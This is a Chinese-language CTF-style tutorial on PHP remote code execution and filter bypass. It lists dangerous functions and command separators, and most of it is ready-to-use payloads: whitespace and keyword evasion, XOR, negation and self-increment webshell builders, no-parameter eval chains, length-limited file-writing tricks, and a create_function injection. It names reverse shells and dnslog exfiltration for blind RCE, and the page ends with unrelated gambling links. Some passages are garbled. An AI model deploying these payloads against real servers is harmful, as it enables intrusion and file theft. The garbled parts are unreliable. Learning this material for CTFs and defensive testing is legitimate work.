RCE漏洞及绕过技巧:从基础到高级实战攻略

RCE漏洞及绕过技巧:从基础到高级实战攻略

文章目录

常见漏洞执行函数:1.系统命令执行函数2.代码执行函数

命令拼接符读取文件命令绕过:空格过滤绕过关键字绕过长度过滤绕过无参数命令执行绕过无字母数字绕过利用%0A截断利用回溯绕过利用create_function()代码注入无回显RCE1.反弹shell2.dnslog外带数据法3.msf反向回连4.利用tee命令将执行结果输出到文件,再访问文件5.利用反引号和print

常见漏洞执行函数:

1.系统命令执行函数

system():将字符串作为OS命令执行,返回执行结果

exec():将字符串作为OS命令执行,只返回执行结果的最后一行

shell_exec():通过shell环境执行命令,将完整的输出以字符串返回

passthru():将字符串作为OS命令执行,只调用命令不返回结果,但把命令的运行结果原样输出到标准输出设备上

popen():打开进程文件指针

proc_open():与popen类似

pcntl_exec():在当前进程空间执行指定程序

反引号``:反引号内的字符会被解析成OS命令

2.代码执行函数

eval():将字符串作为PHP代码执行

assert():将字符串作为php代码执行

preg_replace():正则匹配替换字符串

create_function():创建匿名函数

file_put_contents():将数据写入文件 ,语法:file_put_contents(filename, data, mode, context)

命令拼接符

command1 ; command2 : 先执行command1后执行comnand2

command1 & command2 : 先执行comnand2后执行command1

command1 && command2 : 先执行command1后执行comnand2

command1 | command2 : 只执行command2

command1 || command2 : command1执行失败, 再执行command2(若command1执行成功,就不再执行command2)

读取文件命令

cat:连接文件并输出内容到标准输出

tac:从最后一行开始往前显示

more: 与cat类似,但是会一页一页显示(只能向后翻页)

less:与more类似,只能向前翻页

nl:显示内容的同时,显示行号

head:查看文件开头几行内容,默认为10行

tail:查看文件尾几行

od:以为指定进制的方式读取文件 例如: od -x ??? 以十六进制的方式查看文件

vi:文本编辑器

vim:文本编辑器

dd:dd if=输入文件 of=输出文件 或直接读取文件dd=1.txt

sort:对文件排序,输出排序内容

uniq:去除重复行,输出去重内容

rev:独立反转每一行内容,输出反转后内容

cut:输出剪切内容

sed:流编辑器,可以对文本内容进行搜索、替换、删除等操作

paste:把每个文件以列对列的方式合并(一个文件就相当于原来的)

grep:查找文件里符合条件的字符串

绕过:

空格过滤绕过

重定向字符< <> %20(即spcae) %09(即tab) $IFS$9 ${IFS} $IFS {}比如:{cat,/f*}

关键字绕过

1.利用反斜杠\绕过

cat /flag -> ca\t /fl\ag

2.利用变量拼接绕过

cat /flag -> $b=ag;cat /fl$b

3.利用函数绕过

eval(var_dump(scandir('/');); #读取根目录

eval(var_dump(file_get_contents($_POST['a'])););&a=/flag

4.利用单双反引号绕过

cat""t /flag

l's /

cat /e't'c/pas``s``wd

5.cat替换

tac 与cat相反,按行反向输出

more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件

less 与more类似

tail 查看文件末几行

head 查看文件首几行

nl 在cat查看文件的基础上显示行号

od 以二进制方式读文件,od -A d -c /flag转人可读字符

xxd 以二进制方式读文件,同时有可读字符显示

sort 排序文件

uniq 报告或删除文件的重复行

file -f 报错文件内容

grep 过滤查找字符串,grep flag /flag

6.利用正则匹配(通配符)绕过

cat /f???

cat /f*

7.利用[]绕过

c[a]t=>cat

p[h]p=>php

8.利用linux中的环境变量绕过

echo $PATH

若有/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}

即可表示:flag.php

# ${PATH:5:1}表示取路径第五位(从0开始数,第0位是/),取一个字母。以此类推拼接成flag.php

9.编码绕过 10.利用内联执行绕过

echo "a`pwd`" #输出a/root

?ip=127.0.0.1;cat$IFS$9`ls`

11.双写绕过

8.利用取反~绕过

$a = "system";

$b = "cat /flag";

$c = urlencode(~$a);

$d = urlencode(~$b);

//输出得到取反传参内容

echo "?cmd=(~".$c.")(~".$d.");"

?>

输出结果:?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

9.利用异或^绕过

# 异或构造Python脚本

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = input('输入异或构造的字符串:')

tmp1, tmp2 = '', ''

for c in answer:

for i in valid:

for j in valid:

if ord(i) ^ ord(j) == ord(c):

tmp1 += i

tmp2 += j

break

else:

continue

break

print(f'"{tmp1}"^"{tmp2}"')

10.利用自增绕过 原理: “A”++ ==> “B” “B”++ ==> “C”

$_++;

echo($_++); //输出结果1

$a=''.[];

var_dump($a); //输出结果array

$_=[].''; //得到"Array"

$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"

$__ = $___; //$__="A"

$_ = $___; //$_="A"

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"

$___ .= $__; //$___="AS"

$___ .= $__; //$___="ASS"

$__ = $_; //$__="A"

$__++;$__++;$__++;$__++; //得到"E",此时$__="E"

$___ .= $__; //$___="ASSE"

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"

$___ .= $__; //$___="ASSER"

$__++;$__++; //得到"T",此时$__="T"

$___ .= $__; //$___="ASSERT"

$__ = $_; //$__="A"

$____ = "_"; //$____="_"

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"

$____ .= $__; //$____="_P"

$__ = $_; //$__="A"

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"

$____ .= $__; //$____="_PO"

$__++;$__++;$__++;$__++; //得到"S",此时$__="S"

$____ .= $__; //$____="_POS"

$__++; //得到"T",此时$__="T"

$____ .= $__; //$____="_POST"

$_ = $$____; //$_=$_POST

$___($_[_]); //ASSERT($POST[_])

//自增payload,assert($_POST[_]),命令传入_

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

长度过滤绕过

>b类似于touch b ,即直接创建文件b,通过>将命令执行结果写入文件(覆盖文件原本内容)

echo 666 >a #创建文件a,将字符串666写入文件a中

>>用来追加内容

777 >>a #在文件a的末尾追加字符串777

ls -t:按时间顺序,由近及远排序(后创建的排在前面)

#>ag

#>fl\\

#>"t\\"

#>ca\\

#ls -t >x

创建文件x,将"ca"""t"""fl""ag"连接起来 前面的\把后面的\实体化成字符,用来拼接文件名输出到文件x中,然后把文件x当成脚本执行

import time

import requests

baseurl="url"

s = requests.session()

list=[

'>7777',

'>ca', #中间的内容自己补充

'ls -t>a'

]

for i in list:

time.sleep(1)

url = baseurl+str(i)

s.get(url)

s.get(baseurl+"sh a")

以这题为例,可以利用自增,但限制长度,

payload:$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

即表示$_GET[1]($_GET[2])

记得url编码,然后get传参?hint=1&1=system&&2=cat /f*

无参数命令执行绕过

在无法传参的情况下,仅依靠传入没有参数的函数套娃以达到命令执行的效果

特征:

if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['star']))

{

eval($_GET['star']);

}

\W表示匹配非字符

[^\abc]表示非abc

R代表当前正则匹配后的结果

?惰性匹配,匹配0或1次

相关函数

scandir():返回当前目录的所有文件和目录的列表。结果是一个数组

localeconv():返回一包含本地数字及货币格式信息的数组(这里数组的第一项是. 这个点很有用)

current():返回数组中的单元,默认取第一个值。pos()和它一样

getcwd():获取当前工作目录

dirname():返回路径中的目录部分

chdir():改变当前目录

array_flip():交换数组中的键和值,成功时返回交换后的数组

array_rand():从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():反转给定字符串

eval()、assert():命令执行

highlight_file()、show_source()、readfile()、file_get_content():读取文件内容

getallheaders():返回当前请求的所有请求头消息,但局限于Apache

数组移动操作:

reset():指向第一个元素并输出

end():将内部指针指向数组中最后一个元素并输出

next():指向下一个元素并输出

prev():指向上一个元素并输出

each():返回当前元素的键名和键值,并将指针向前移动

例:scandir(‘.’)能返回当前目录,虽然无法传参,但可以利用localeconv()返回. 并且用current()取第一个值实现,即用current(localeconv())构造一个点.

?参数=var_dump(scandir(current(localeconv())));

1.利用scanidr()函数 例题:[GXYCTF2019]禁止套娃

include "flag.php";

echo "flag在哪里呢?
";

if(isset($_GET['exp'])){

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {

// echo $_GET['exp'];

@eval($_GET['exp']);

}

else{

die("还差一点哦!");

}

}

else{

die("再好好想想!");

}

}

else{

die("还想读flag,臭弟弟!");

}

}

// highlight_file(__FILE__);

?>

第二个if语句,典型的无参RCE,第三个又限制了一些函数 payload:

?exp=highligth_file(next(array_reverse(scandir(current(localeconv())))));

先利用current将localeconv中的.取出来,然后用scandir返回当前目录中的文件和子目录,得到当前flag在flag.php 此时flag.php位置较靠后,用array_reverse将数组反转,然后用next选择第二个即flag.php,然后读取flag.php文件

2.利用session_id()函数 当请求头中有cookie时,或者有时没有cookie手动添加cookie也行。但要session_start开启 ·可以对命令进行十六进制编码,然后用hex2bin()解码 payload:

?参数=eval(hex2bin(session_id(session_start())));

同时更改cookie后面的值为对应命令的十六进制编码

指定文件名为flag.php的情况下直接读取文件(Cookie是手动添加的)

3.利用getallheaders()函数 getallheaders()返回当前请求的所有请求头消息,但局限于Apache(apache_request_headers与getallheaders()功能和限制一样) 当能够确定返回时,在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头使其执行。 其中sky是自己添加的请求头,end()指向最后一行的sky代码

4.利用get_defined_vars()函数

get_defined_vars()可以回显全局变量且更有普遍性,返回数组顺序为

G

E

T

>

_GET-->

G​ET−−>_POST–>

C

O

O

K

I

E

>

_COOKIE-->

C​OOKIE−−>_FILES 首先确认是否有回显

print_r(get_defined_vars());

如果原本只有一个参数a,可以多加一个参数b,后面写入恶意语句

a=eval(end(current(get_defined_vars())));&b=system('ls /');

无字母数字绕过

标志

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {

eval($_GET['shell']);

}

1.异或绕过 2.取反绕过 3.自增绕过 4.临时文件上传 Linux临时文件主要存储在/tmp/目录下,格式: /tmp/php[6个随机字符] Windows临时文件主要存储在C://Windows/目录下,格式:C://Windows/php[4个随机字符].tmp

5.

G

E

T

/

GET/

GET/POST参数绕过 PHP需将所有参数转换成有效的变量名,因此在解析查询字符串时,会首先删除空白符,然后将某些字符转换成下划线

pyload1:?c=include%0a$_POST[a]?>

post:a=data://text/plain,

pyload2:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

pyload3: c=include$_GET[1]?>&1=data://text/plain,

pyload4:c=?>&1=php://filter/read=convert.base64-encode/resource=flag.php

6.LD_PRELOAD绕过 7.短标签绕过 PHP中有两种短标签 。其中相当于 相当于

例如: 输出

8.反引号``绕过 PHP中 反引号``可以起到命令执行的效果

$_=`whoami`;

echo $_; 能够将对应的结果输出

利用段标签可以写为:

利用%0A截断

由于preg_match只能匹配第一行,可以使用%0A进行截断

利用回溯绕过

php正则匹配的回溯次数大于1000000次时会返回False preg_match的匹配存在回溯,次数上限是1000000,超过上限后函数返回False

$a = 'hello world'+'h'*1000000

preg_match("/hello.*world/is",$a) == False

利用create_function()代码注入

create_function函数会在内部执行eval()

create_function($函数变量声明,$执行的方法代码)

看到

a

(

a(

a(b)想到create_fuction()代码注入。这里\为了绕过正则,}为了闭合前面 , // 为了注释后面

payload:?a=\create_function&b=}system('tac /flag');//

无回显RCE

可以先利用sleep函数判断是否能执行

?参数=1;sleep(3)

1.反弹shell

2.dnslog外带数据法

3.msf反向回连

4.利用tee命令将执行结果输出到文件,再访问文件

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可

ls / | tee 1.txt

cat /flag | tee 2.txt

使用重定向也可以

ls / > 1.txt

5.利用反引号和print

//eval()无输出

eval(print`c\at /flag`;)

相关推荐

俄罗斯足球:被“偷”走的那五年
casino365sport365

俄罗斯足球:被“偷”走的那五年

07-22 👁️ 9909
*降落伞教程*重置版,更详细!
完美体育365官方网站入口

*降落伞教程*重置版,更详细!

07-10 👁️ 3272
广州首批!22个影视取景地公布!快来打卡《梦华录》同款景点
绝地求生第八赛季结束时间介绍
casino365sport365

绝地求生第八赛季结束时间介绍

07-17 👁️ 7544